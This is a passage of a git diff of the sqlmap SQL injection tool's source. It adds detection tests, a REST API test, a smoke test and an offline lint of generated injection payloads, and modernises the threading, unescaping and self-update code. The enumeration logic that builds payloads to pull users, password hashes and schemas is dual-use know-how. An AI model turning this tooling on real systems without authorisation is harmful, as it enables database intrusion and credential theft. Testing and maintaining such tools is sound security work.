-p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity + ("-u \"fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics + ("-u \"fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model + # true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+) + ("-u -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")), + ("-u \"&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)), + ) + + return vulnTest(tests=FP_TESTS, label="fp") + +def apiTest(): + """ + Runs a basic live test of the REST API: launches the server in a separate process + ('sqlmapapi.py -s') and drives the control-plane endpoints with an HTTP client - a real + server + client round-trip, without launching an actual scan. A separate process (rather + than an in-process thread) isolates the single-threaded server from the client's GIL and + from sqlmap's global HTTP machinery, which otherwise makes the round-trip flaky. + """ - msg = "running live test case: %s (%d/%d)" % (name, count, length) - logger.info(msg) + retVal = True - initCase(switches, count) + # pick a free port the same way vulnTest() does + while True: + address, port = "127.0.0.1", random.randint(10000, 65535) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + if s.connect_ex((address, port)): + break + else: + time.sleep(1) + finally: + s.close() - test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING) - test_case_fd.write("%s\n" % name) + username, password = "test", "test" + apipath = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmapapi.py")) + try: + devnull = subprocess.DEVNULL + except AttributeError: + devnull = open(os.devnull, "wb") + + process = subprocess.Popen([sys.executable, apipath, "-s", "-H", address, "-p", str(port), "--username", username, "--password", password], stdout=devnull, stderr=devnull) + + base = "http://%s:%d" % (address, port) + + def _call(path, data=None, authorize=True): + # NOTE: a raw socket is used deliberately instead of urllib/http.client. The host sqlmap + # process installs a global keep-alive opener and patches http.client, which makes a + # library client flaky against the single-threaded server; a hand-rolled HTTP/1.0 request + # (Connection: close, read to EOF) is hermetic and immune to all of that. + method = "POST" if data is not None else "GET" + lines = ["%s %s HTTP/1.0" % (method, path), "Host: %s:%d" % (address, port)] + if authorize: + lines.append("Authorization: Basic %s" % encodeBase64("%s:%s" % (username, password), binary=False)) + body = getBytes(json.dumps(data)) if data is not None else b"" + if data is not None: + lines.append("Content-Type: application/json") + lines.append("Content-Length: %d" % len(body)) + lines.append("Connection: close") + request = getBytes("\r\n".join(lines) + "\r\n\r\n") + body + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(10) try: - result = runCase(parse) - except SqlmapNotVulnerableException: - vulnerable = False + s.connect((address, port)) + s.sendall(request) + raw = b"" + while True: + chunk = s.recv(8192) + if not chunk: + break + raw += chunk + except Exception as ex: + logger.debug("API test: request to '%s' failed (%s)" % (path, getSafeExString(ex))) + return None, None finally: - conf.verbose = global_.get("verbose", 1) - setVerbosity() + s.close() - if result is True: - logger.info("test passed") - cleanCase() + head, _, payload = raw.partition(b"\r\n\r\n") + try: + code = int(head.split(b"\r\n")[0].split(b" ")[1]) + except (IndexError, ValueError): + return None, None + try: + return code, json.loads(getText(payload)) + except ValueError: + return code, None + + try: + # wait for the server process to come up (or die trying) + for _ in xrange(200): + if process.poll() is not None: + logger.error("API test: server process exited prematurely (address: '%s')" % base) + return False + code, data = _call("/version") + if code == 200 and data and data.get("success"): + break + time.sleep(0.1) else: - errMsg = "test failed" + logger.error("API test: server did not come up (address: '%s')" % base) + return False - if Failures.failedItems: - errMsg += " at parsing items: %s" % ", ".join(i for i in Failures.failedItems) + logger.info("REST API server running at '%s'..." % base) - errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH - errMsg += " - traceback: %s" % bool(Failures.failedTraceBack) + results = [] - if not vulnerable: - errMsg += " - SQL injection not detected" + def _check(name, condition): + results.append((name, bool(condition))) + if not condition: + logger.error("API test: check '%s' FAILED" % name) - logger.error(errMsg) - test_case_fd.write("%s\n" % errMsg) + # GET /version - success envelope + MAJOR-only integer api_version + code, data = _call("/version") + _check("version", code == 200 and data and data.get("success") is True and data.get("api_version") == int(RESTAPI_VERSION.split(".")[0]) and data.get("version")) - if Failures.failedParseOn: - console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING) - console_output_fd.write(Failures.failedParseOn) - console_output_fd.close() + # the auth hook must reject an unauthenticated request + code, _ = _call("/version", authorize=False) + _check("auth-401", code == 401) - if Failures.failedTraceBack: - traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING) - traceback_fd.write(Failures.failedTraceBack) - traceback_fd.close() + # GET /task/new - mint a task + code, data = _call("/task/new") + taskid = data.get("taskid") if data else None + _check("task-new", code == 200 and data and data.get("success") and taskid) - beep() + # POST /option//set then read it back via /get and /list (JSON round-trip + IPC) + code, data = _call("/option/%s/set" % taskid, {"flushSession": True}) + _check("option-set", code == 200 and data and data.get("success")) - if conf.stopFail is True: - return retVal + code, data = _call("/option/%s/get" % taskid, ["flushSession"]) + _check("option-get", data and data.get("success") and (data.get("options") or {}).get("flushSession") is True) - test_case_fd.close() - retVal &= bool(result) + code, data = _call("/option/%s/list" % taskid) + _check("option-list", data and data.get("success") and isinstance(data.get("options"), dict)) - dataToStdout("\n") + # GET /admin/list - the IP-bound listing (our client is the task's creator) must see it + code, data = _call("/admin/list") + _check("admin-list", data and data.get("success") and taskid in (data.get("tasks") or {})) - if retVal: - logger.info("live test final result: PASSED") - else: - logger.error("live test final result: FAILED") + # a bogus task ID must produce a failure envelope (not a crash) + code, data = _call("/option/%s/list" % "nonexistent") + _check("invalid-task", data is not None and data.get("success") is False) - return retVal + # GET /task//delete - tear the task down + code, data = _call("/task/%s/delete" % taskid) + _check("task-delete", data and data.get("success")) -def initCase(switches, count): - Failures.failedItems = [] - Failures.failedParseOn = None - Failures.failedTraceBack = None + if all(ok for _, ok in results): + logger.info("API test final result: PASSED") + else: + retVal = False + logger.error("API test final result: FAILED (%s)" % ", ".join(name for name, ok in results if not ok)) + finally: + try: + process.terminate() + process.wait() + except Exception: + pass - paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="sqlmaptest-%d-" % count) - paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") - paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") + return retVal - logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH) +def smokeTest(): + """ + Runs the basic smoke testing of a program + """ - LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-") + unisonRandom() - cmdLineOptions = cmdLineParser() + with open(paths.ERRORS_XML, "r") as f: + content = f.read() - if switches: - for key, value in switches.items(): - if key in cmdLineOptions.__dict__: - cmdLineOptions.__dict__[key] = value + for regex in re.findall(r'', content): + try: + re.compile(regex) + except re.error: + errMsg = "smoke test failed at compiling '%s'" % regex + logger.error(errMsg) + return False - initOptions(cmdLineOptions, True) - init() + retVal = True + count, length = 0, 0 -def cleanCase(): - shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) + for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): + if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")): + continue -def runCase(parse): - retVal = True - handled_exception = None - unhandled_exception = None - result = False - console = "" + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": + length += 1 - try: - result = start() - except KeyboardInterrupt: - pass - except SqlmapBaseException, e: - handled_exception = e - except Exception, e: - unhandled_exception = e - finally: - sys.stdout.seek(0) - console = sys.stdout.read() - LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__ - - if unhandled_exception: - Failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) - retVal = None - elif handled_exception: - Failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) - retVal = None - elif result is False: # this means no SQL injection has been detected - if None, ignore - retVal = False + for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): + if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")): + continue - console = getUnicode(console, encoding=sys.stdin.encoding) + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"): + path = os.path.join(root, os.path.splitext(filename)[0]) + path = path.replace(paths.SQLMAP_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + try: + __import__(path) + module = sys.modules[path] + except Exception as ex: + retVal = False + dataToStdout("\r") + errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex) + logger.error(errMsg) + else: + logger.setLevel(logging.CRITICAL) + kb.smokeMode = True - if parse and retVal: - with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f: - content = f.read() + (failure_count, _) = doctest.testmod(module) - for item, parse_from_console_output in parse: - parse_on = console if parse_from_console_output else content + kb.smokeMode = False + logger.setLevel(logging.INFO) - if item.startswith("r'") and item.endswith("'"): - if not re.search(item[2:-1], parse_on, re.DOTALL): - retVal = None - Failures.failedItems.append(item) + if failure_count > 0: + retVal = False - elif item not in parse_on: - retVal = None - Failures.failedItems.append(item) + count += 1 + status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) + + def _(node): + for __ in dir(node): + if not __.startswith('_'): + candidate = getattr(node, __) + if isinstance(candidate, str): + if '\\' in candidate: + try: + re.compile(candidate) + except: + errMsg = "smoke test failed at compiling '%s'" % candidate + logger.error(errMsg) + raise + else: + _(candidate) - if Failures.failedItems: - Failures.failedParseOn = console + for dbms in queries: + try: + _(queries[dbms]) + except: + retVal = False - elif retVal is False: - Failures.failedParseOn = console + clearConsoleLine() + if retVal: + logger.info("smoke test final result: PASSED") + else: + logger.error("smoke test final result: FAILED") return retVal -def replaceVars(item, vars_): - retVal = item +def payloadLintTest(): + """ + Offline payload-sanity coverage test. + + For every supported back-end DBMS an emulation oracle drives the blind + enumeration handlers (no live target), so agent.py builds the full range of + inference payloads it would emit while dumping a schema, and each one is + checked with lib.utils.sqllint. A planted-malformation self-check first + proves the pipeline actually catches a defect, so the gate can never pass + vacuously. + """ - if item and vars_: - for var in re.findall("\$\{([^}]+)\}", item): - if var in vars_: - retVal = retVal.replace("${%s}" % var, vars_[var]) + import lib.core.common as common_module + + from lib.controller.handler import setHandler + from lib.core.agent import agent + from lib.core.common import Backend + from lib.core.datatype import AttribDict + from lib.core.datatype import InjectionDict + from lib.core.enums import PAYLOAD + from lib.core.enums import PLACE + from lib.core.threads import getCurrentThreadData + from lib.request.connect import Connect + from lib.utils.sqllint import checkSanity + + unisonRandom() + + collected = [] + guard = {"count": 0} + CAP_PER_METHOD = 600 + + # A "consistent liar": parse the injected char comparison in whatever form the + # dialect uses (bare int / CHAR(n) / quoted 'x') and answer so counts->'2', + # lengths->small, names->'a'. This keeps every dialect's enumeration walking a + # few shallow levels, exercising the payload builders without a real backend. + def _oracle(value=None, **kwargs): + if value is None: + return None + sql = agent.removePayloadDelimiters(agent.adjustLateValues(value)) + collected.append(sql) + guard["count"] += 1 + if guard["count"] > CAP_PER_METHOD: + raise KeyboardInterrupt + # UNION/inband path reads the response body: hand back a page carrying the + # delimited marker value so extraction "succeeds" and keeps producing payloads + if kwargs.get("content"): + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + return ("x%s%s%s%s%sx" % (start, "1", delim, "1", stop), None, 200) + upper = sql.upper() + match = re.search(r">\s*'(.?)'", sql) + if match: + return True if match.group(1) == "" else (50 if "COUNT(" in upper else 97) > ord(match.group(1)) + match = re.search(r">\s*(?:N?CHAR|CHR|NCHR)\s*\(\s*(\d+)", sql, re.I) + if match: + return (50 if "COUNT(" in upper else 97) > int(match.group(1)) + match = re.search(r">\s*(\d+)", sql) + if match: + value_ = int(match.group(1)) + target = 1 if "COUNT(" in upper else (3 if any(_ in upper for _ in ("LENGTH(", "LEN(", "DATALENGTH(")) else 2) + return target > value_ + match = re.search(r"(\d+)\s*(=|<|>=|<=|<>|!=)\s*(\d+)", sql) + if match: + left, operator, right = int(match.group(1)), match.group(2), int(match.group(3)) + return {"=": left == right, "<": left < right, ">=": left >= right, "<=": left <= right, "<>": left != right, "!=": left != right}[operator] + return False + + def _injection(dbms): + injection = InjectionDict() + injection.place = PLACE.GET + injection.parameter = "id" + injection.ptype = 1 + injection.prefix = "" + injection.suffix = "" + injection.clause = [1] + injection.dbms = dbms + boolean = AttribDict() + boolean.title = "AND boolean-based blind" + boolean.vector = "AND [INFERENCE]" + boolean.comment = "" + boolean.payload = "x" + boolean.where = 1 + boolean.templatePayload = None + boolean.matchRatio = None + boolean.trueCode = None + boolean.falseCode = None + injection.data = AttribDict() + injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = boolean + return injection + + def _unionInjection(dbms): + injection = InjectionDict() + injection.place = PLACE.GET + injection.parameter = "id" + injection.ptype = 1 + injection.prefix = "" + injection.suffix = "" + injection.clause = [1] + injection.dbms = dbms + union = AttribDict() + union.title = "Generic UNION query" + # vector = (position, count, comment, prefix, suffix, char, where, + # unionDuplicates, forcePartial, tableFrom, unionTemplate) + union.vector = (0, 3, "-- -", "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + union.comment = "-- -" + union.prefix = "" + union.suffix = "" + union.where = PAYLOAD.WHERE.ORIGINAL + union.templatePayload = None + union.matchRatio = None + union.trueCode = None + union.falseCode = None + injection.data = AttribDict() + injection.data[PAYLOAD.TECHNIQUE.UNION] = union + return injection + + methods = ("getBanner", "getCurrentDb", "getCurrentUser", "getHostname", "isDba", + "getDbs", "getTables", "getColumns", "getSchema", "getUsers", + "getPasswordHashes", "getPrivileges", "getRoles", "getStatements", + "getComments", "getProcedures") + + _stdout = sys.stdout + + def _progress(dbms, count, bad): + # write to the real stdout (sqlmap's is redirected to a sink during the walk) + _stdout.write("[payload-lint] %-26s %7d payloads %s\n" % (dbms, count, ("%d FLAGGED" % bad) if bad else "ok")) + _stdout.flush() + + class _Sink(object): + def write(self, *args, **kwargs): pass + def flush(self, *args, **kwargs): pass + + _queryPage = Connect.queryPage + _getPageTemplate = common_module.getPageTemplate + _level = logger.level + _threads = conf.threads + threadData = getCurrentThreadData() + + retVal = True + total = walked = 0 + flagged = [] + allDbms = sorted(queries.keys()) + + try: + conf.batch = True + conf.threads = 1 # deterministic, single-threaded (clean output) + conf.disableHashing = True + if not conf.base64Parameter: + conf.base64Parameter = [] + common_module.getPageTemplate = lambda *args, **kwargs: ("x", False) + Connect.queryPage = staticmethod(_oracle) + logger.setLevel(logging.CRITICAL) # mute the emulated walk's "unable to retrieve" noise + threadData.disableStdOut = True # mute dataToStdout at its gate + sys.stdout = _Sink() # and mute everything else (readInput prompts, tables, ...) + + def _runMethods(): + found = set() + for name in methods: + method = getattr(conf.dbmsHandler, name, None) + if method is None: + continue + del collected[:] + guard["count"] = 0 + try: + method() + except (KeyboardInterrupt, Exception): + pass + found.update(collected) + return found + + for dbms in allDbms: + try: + Backend.flushForcedDbms(force=True) + kb.stickyDBMS = False + Backend.forceDbms(dbms) + conf.forceDbms = conf.dbms = dbms + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + # a user/column so user-filtered and column-specific query variants + # (WHERE grantee='...', per-column extraction) are exercised too + conf.db, conf.tbl, conf.col, conf.user = "testdb", "testtbl", "testcol", "testuser" + setHandler() + except Exception: + _progress(dbms, 0, 0) + continue + + seen = set() + # (a) boolean-based blind pass, then (b) UNION-query (inband) pass - + # two techniques exercise two distinct payload-builder families in agent.py + for technique, injector in ((PAYLOAD.TECHNIQUE.BOOLEAN, _injection), + (PAYLOAD.TECHNIQUE.UNION, _unionInjection)): + for key in list(kb.data.keys()): + if key.startswith("cached"): + kb.data[key] = None + kb.jsonAggMode = False + kb.injection = injector(dbms) + kb.injections = [kb.injection] + kb.technique = technique + seen.update(_runMethods()) + + bad = [(dbms, p, checkSanity(p)) for p in seen if checkSanity(p)] + flagged.extend(bad) + total += len(seen) + if seen: + walked += 1 + _progress(dbms, len(seen), len(bad)) + finally: + sys.stdout = _stdout + Connect.queryPage = _queryPage + common_module.getPageTemplate = _getPageTemplate + Backend.flushForcedDbms(force=True) + logger.setLevel(_level) + conf.threads = _threads + threadData.disableStdOut = False + + # self-check: the linter must flag a known-malformed payload, and the walk + # must have actually produced payloads (guards against a vacuous pass) + if not checkSanity("1 AND (SELECT id 1 FROM users)"): + logger.error("payload-lint self-check failed: a known-malformed payload was not flagged") + retVal = False + if total < 1000: + logger.error("payload-lint self-check failed: only %d payloads generated (walk did not run)" % total) + retVal = False + + for dbms, payload, issues in flagged[:20]: + retVal = False + logger.error("[%s] malformed payload: %s -> %s" % (dbms, payload, "; ".join(issues))) + + clearConsoleLine() + logger.info("payload-lint: %d payloads across %d/%d DBMSes checked, %d malformed" % (total, walked, len(allDbms), len(flagged))) + if retVal: + logger.info("payload-lint final result: PASSED") + else: + logger.error("payload-lint final result: FAILED") return retVal diff --git a/lib/core/threads.py b/lib/core/threads.py index ec43ecd0d16..47e8e10ab3a 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,27 +1,32 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import difflib +import sqlite3 import threading import time import traceback -from thread import error as ThreadError - +from lib.core.compat import WichmannHill +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapThreadException +from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS -from lib.core.settings import PYVERSION shared = AttribDict() @@ -41,28 +46,39 @@ def reset(self): self.disableStdOut = False self.hashDBCursor = None self.inTransaction = False + self.lastCode = None self.lastComparisonPage = None self.lastComparisonHeaders = None - self.lastErrorPage = None + self.lastComparisonCode = None + self.lastComparisonRatio = None + self.lastPageTemplateCleaned = None + self.lastPageTemplateJsonMinimized = None + self.lastPageTemplateStructural = None + self.lastPageTemplate = None + self.lastErrorPage = tuple() self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 - self.lastRedirectURL = None + self.lastRedirectURL = tuple() + self.random = WichmannHill() self.resumed = False self.retriesCount = 0 self.seqMatcher = difflib.SequenceMatcher(None) self.shared = shared + self.technique = None + self.validationRun = 0 self.valueStack = [] ThreadData = _ThreadData() -def getCurrentThreadUID(): - return hash(threading.currentThread()) +def readInput(message, default=None, checkBatch=True, boolean=False): + # It will be overwritten by original from lib.core.common + pass -def readInput(message, default=None): +def isDigit(value): # It will be overwritten by original from lib.core.common pass @@ -71,8 +87,6 @@ def getCurrentThreadData(): Returns current thread's local data """ - global ThreadData - return ThreadData def getCurrentThreadName(): @@ -80,130 +94,177 @@ def getCurrentThreadName(): Returns current's thread name """ - return threading.current_thread().getName() + return threading.current_thread().name -def exceptionHandledFunction(threadFunction): +def exceptionHandledFunction(threadFunction, silent=False): try: threadFunction() except KeyboardInterrupt: kb.threadContinue = False kb.threadException = True raise - except Exception, ex: - # thread is just going to be silently killed - logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + except Exception as ex: + from lib.core.common import getSafeExString + + if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): + errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) + logger.error("thread %s: '%s'" % (threading.current_thread().name, errMsg)) + + if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): + traceback.print_exc() def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation - if PYVERSION >= "2.6": - thread.daemon = True - else: - thread.setDaemon(True) + thread.daemon = True def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] - kb.multiThreadMode = True + def _threadFunction(): + try: + threadFunction() + finally: + if conf.hashDB: + conf.hashDB.close() + + kb.multipleCtrlC = False kb.threadContinue = True kb.threadException = False - - if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): - while True: - message = "please enter number of threads? [Enter for %d (current)] " % numThreads - choice = readInput(message, default=str(numThreads)) - if choice: - skipThreadCheck = False - if choice.endswith('!'): - choice = choice[:-1] - skipThreadCheck = True - if choice.isdigit(): - if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: - errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS - logger.critical(errMsg) - else: - conf.threads = numThreads = int(choice) - break - - if numThreads == 1: - warnMsg = "running in a single-thread mode. This could take a while" - logger.warn(warnMsg) + kb.technique = ThreadData.technique + kb.multiThreadMode = False try: + if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): + while True: + message = "please enter number of threads? [Enter for %d (current)] " % numThreads + choice = readInput(message, default=str(numThreads)) + if choice: + skipThreadCheck = False + + if choice.endswith('!'): + choice = choice[:-1] + skipThreadCheck = True + + if isDigit(choice): + if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: + errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS + logger.critical(errMsg) + else: + conf.threads = numThreads = int(choice) + break + + if numThreads == 1: + warnMsg = "running in a single-thread mode. This could take a while" + logger.warning(warnMsg) + if numThreads > 1: if startThreadMsg: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: - threadFunction() + try: + _threadFunction() + except (SqlmapUserQuitException, SqlmapSkipTargetException): + pass return + kb.multiThreadMode = True + # Start the threads for numThread in xrange(numThreads): - thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction]) + thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[_threadFunction]) setDaemon(thread) try: thread.start() - except ThreadError, ex: - errMsg = "error occurred while starting new thread ('%s')" % ex.message + except Exception as ex: + errMsg = "error occurred while starting new thread ('%s')" % ex logger.critical(errMsg) break threads.append(thread) # And wait for them to all finish - alive = True - while alive: + while True: alive = False for thread in threads: - if thread.isAlive(): + if thread.is_alive(): alive = True - time.sleep(0.1) + break + if not alive: + break + time.sleep(0.1) - except KeyboardInterrupt: - print + except (KeyboardInterrupt, SqlmapUserQuitException) as ex: + print() + kb.prependFlag = False kb.threadContinue = False kb.threadException = True + if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): + kb.multipleCtrlC = True + raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)") + + kb.lastCtrlCTime = time.time() + if numThreads > 1: - logger.info("waiting for threads to finish (Ctrl+C was pressed)") + logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) try: - while (threading.activeCount() > 1): - pass + while True: + alive = False + for thread in threads: + if thread.is_alive(): + alive = True + break + if not alive: + break + time.sleep(0.1) except KeyboardInterrupt: + kb.multipleCtrlC = True raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") if forwardException: raise - except (SqlmapConnectionException, SqlmapValueException), ex: - print + except (SqlmapConnectionException, SqlmapValueException) as ex: + print() kb.threadException = True - logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + logger.error("thread %s: '%s'" % (threading.current_thread().name, ex)) - except: - from lib.core.common import unhandledExceptionMessage + if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): + traceback.print_exc() - print - kb.threadException = True - errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) - traceback.print_exc() + except Exception as ex: + print() + + if not kb.multipleCtrlC: + if isinstance(ex, sqlite3.Error): + raise + else: + from lib.core.common import unhandledExceptionMessage + + kb.threadException = True + errMsg = unhandledExceptionMessage() + logger.error("thread %s: %s" % (threading.current_thread().name, errMsg)) + traceback.print_exc() finally: kb.multiThreadMode = False - kb.bruteMode = False kb.threadContinue = True kb.threadException = False + kb.technique = None for lock in kb.locks.values(): - if lock.locked_lock(): - lock.release() + if lock.locked(): + try: + lock.release() + except: + pass if conf.get("hashDB"): - conf.hashDB.flush(True) + conf.hashDB.flush() if cleanupFunction: cleanupFunction() diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 205b77a947f..7763442e2e6 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,20 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend -from lib.core.data import conf -from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE -class Unescaper(AttribDict): +# Note: a plain dict (DBMS -> escape function) with a helper method; it is a runtime registry, never +# serialized, so it deliberately does NOT use AttribDict (no attribute-style access is needed here) +class Unescaper(dict): def escape(self, expression, quote=True, dbms=None): - if conf.noEscape: - return expression - if expression is None: return expression @@ -25,10 +22,15 @@ def escape(self, expression, quote=True, dbms=None): identifiedDbms = Backend.getIdentifiedDbms() if dbms is not None: - return self[dbms](expression, quote=quote) - elif identifiedDbms is not None: - return self[identifiedDbms](expression, quote=quote) + retVal = self[dbms](expression, quote=quote) + elif identifiedDbms is not None and identifiedDbms in self: + retVal = self[identifiedDbms](expression, quote=quote) else: - return expression + retVal = expression + + # e.g. inference comparison for ' + retVal = retVal.replace("'''", "''''") + + return retVal unescaper = Unescaper() diff --git a/lib/core/update.py b/lib/core/update.py index 7e0b802a748..245c9edc01f 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,72 +1,168 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import glob import os import re +import shutil +import subprocess import time - -from subprocess import PIPE -from subprocess import Popen as execute +import zipfile from lib.core.common import dataToStdout -from lib.core.common import pollProcess +from lib.core.common import extractRegexResult +from lib.core.common import getLatestRevision +from lib.core.common import getSafeExString +from lib.core.common import openFile +from lib.core.common import readInput +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.revision import getRevisionNumber from lib.core.settings import GIT_REPOSITORY from lib.core.settings import IS_WIN +from lib.core.settings import VERSION +from lib.core.settings import TYPE +from lib.core.settings import ZIPBALL_PAGE +from thirdparty.six.moves import urllib as _urllib def update(): if not conf.updateAll: return success = False - rootDir = paths.SQLMAP_ROOT_PATH - if not os.path.exists(os.path.join(rootDir, ".git")): - errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository " - errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')" - logger.error(errMsg) + if TYPE == "pip": + infoMsg = "updating sqlmap to the latest stable version from the " + infoMsg += "PyPI repository" + logger.info(infoMsg) + + debugMsg = "sqlmap will try to update itself using 'pip' command" + logger.debug(debugMsg) + + dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) + + output = "" + try: + process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) + output, _ = process.communicate() + success = not process.returncode + except Exception as ex: + success = False + output = getSafeExString(ex) + finally: + output = getText(output) + + if success: + logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P\d+\.\d+\.\d+)\)", output))) + else: + logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip()) + + elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): + warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " + warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY + logger.warning(warnMsg) + + if VERSION == getLatestRevision(): + logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION)) + return + + message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" + if readInput(message, default='N', boolean=True): + directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) + + try: + open(os.path.join(directory, "sqlmap.py"), "w+b") + except Exception as ex: + errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) + logger.error(errMsg) + else: + attrs = os.stat(os.path.join(directory, 